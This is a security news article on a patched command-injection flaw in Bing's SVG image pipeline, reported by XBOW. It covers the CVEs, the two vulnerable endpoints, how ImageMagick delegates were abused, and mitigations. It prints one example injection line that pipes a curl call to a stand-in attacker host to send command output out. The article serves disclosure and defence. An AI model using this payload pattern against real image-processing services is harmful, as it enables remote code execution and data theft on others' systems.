Bing Images SVG RCE Flaw Grants SYSTEM Access on Microsoft Servers

Key Takeaways

• XBOW discovered a critical command‑injection flaw in Bing’s image‑processing pipeline that allowed an SVG file to execute arbitrary code as NT AUTHORITY\SYSTEM on Windows workers and as root on Linux workers.
• Microsoft assigned two CVEs (CVE‑2026-32194 and CVE‑2026-32191), both rated 9.8 CVSS, and fixed them server‑side before public disclosure; no customer action is required.
• The exploit works because the pipeline delegated untrusted image references to external programs (ImageMagick delegates) without restricting shell metacharacters, turning a blind SSRF into a full remote‑code‑execution path.
• Mitigations include disabling ImageMagick delegates, restricting accepted file formats (especially SVG, MVG, EPS), sandboxing converters, limiting worker privileges, and blocking outbound network traffic.
• The issue mirrors the historic ImageTragick (CVE‑2016-3714) vulnerability, underscoring that image‑processing libraries remain a high‑risk attack surface when handling untrusted content.

Overview of the Discovery
XBOW, an autonomous offensive‑security startup, submitted a specially crafted SVG to Bing’s image‑search service. The SVG triggered command execution on the backend workers, granting NT AUTHORITY\SYSTEM privileges on Windows machines and root on Linux hosts. Because the same result appeared across multiple hosts and network ranges, XBOW concluded the flaw resided in Bing’s shared image‑tier rather than an isolated misconfigured host.

CVE Details and Severity
Microsoft tracked the issue as two separate vulnerabilities: CVE‑2026-32194 (command injection, CWE‑77) and CVE‑2026-32191 (OS command injection, CWE‑78). Both received a CVSS v3.1 base score of 9.8, reflecting their critical impact—unauthenticated remote code execution with high privileges—and low attack complexity. The advisories were published on March 19, noting no known exploitation or public disclosure at that time.

Responsible Disclosure and Public Release
XBOW reported the findings privately to Microsoft. Following the vendor’s request, the exploit details were withheld until remediation was confirmed in production. Microsoft patched the server‑side components before the March advisories went out, and the records state “no customer action to resolve.” XBOW finally published the exploit mechanics on July 23, after confirming the fix had landed patches were effective.

How the SVG Triggers Code Execution
The vulnerable pipeline treats uploads or fetched URLs as images and passes them to an ImageMagick‑compatible converter. SVG files are XML‑based and can contain <image> tags that reference external resources. When the converter follows such a reference, it invokes a delegate—an external program called through a shell. If the delegate configuration permits shell metacharacters, a reference beginning with a pipe (|) is interpreted as a shell command rather than a filename. XBOW’s one‑pixel SVG used this technique: its <image> tag pointed to | curl http://attacker.com/collect?data=$(id), causing the worker to execute the command and exfiltrate the output.

Two Distinct Attack Vectors
CVE‑2026-32194 covers the “Search by Image” upload endpoint (/images/kblob) where the SVG is supplied base64‑encoded in the imageBin field. No authentication, cookies, or session state are needed. CVE‑2026-32191 concerns the crawler route: an attacker hosts the SVG anywhere, supplies its URL via the imgurl parameter to Bing’s reverse‑image search, and the bingbot/2.0 user‑agent fetches it into the same processing pipeline. Both paths converge on the same delegate‑enabled conversion tier, yielding identical privileged code execution.

Technical Breakdown of the Delegate Abuse
Investigations showed that the pipeline’s ImageMagick configuration left certain delegates active. Probing pseudo‑protocols revealed that label: and xc: coders rendered text or colors safely, while text:, caption:, and direct file reads failed. Shell metacharacters inside label: were rendered as literal text, eliminating that coder as a vector. The successful path was the image reference inside the SVG itself, which triggered the delegate call. Because the worker processes ran with elevated privileges (SYSTEM on Windows, uid 0 on Linux) and had outbound network access, the injected command could both execute arbitrarily and relay results back to the attacker’s server.

Recommended Mitigations
To neutralize this class of flaw, administrators should:

• Disable delegates entirely in policy.xml for any worker handling untrusted images (e.g., <policy domain="delegate" rights="none" pattern="*"/>).
• Restrict accepted formats—block SVG, MVG, EPS, and other formats that support external references or scripting.
• Review delegates.xml and disable any unnecessary entries.
• Run converters in sandboxed containers with reduced user privileges and limited capabilities.
• Block outbound network traffic from the image‑processing hosts, preventing data exfiltration and limiting the impact of any remaining command injection.
• Apply destination allow‑listing for any server‑side fetches that must reach external sites.
  After policy changes, verify with magick identify -list policy to confirm the intended restrictions are active.

Relation to Historic Vulnerabilities
The bug is essentially a modern incarnation of ImageTragick (CVE‑2016-3714), which also arose from uncontrolled delegate execution in ImageMagick. As XBOW’s CISO Nico Waisman observed, “Applications treat image helpers as plumbing. Attackers treat them as parsers.” The recurring nature of such flaws highlights the need to treat image‑processing libraries as privileged attack surfaces, especially when they handle content from untrusted sources.

Conclusion
The Bing SVG command‑injection incident demonstrates how a seemingly innocuous image‑processing step can become a privileged remote‑code‑execution vector when delegate features remain enabled. While Microsoft has already patched the specific instances, the underlying risk persists wherever ImageMagick‑compatible tools process attacker‑controlled uploads or fetched URLs without strict delegate controls, format whitelisting, network segregation, and privilege reduction. Organizations should audit their image‑handling pipelines, apply the mitigations outlined above, and treat any external image parser as a potential gateway for compromise.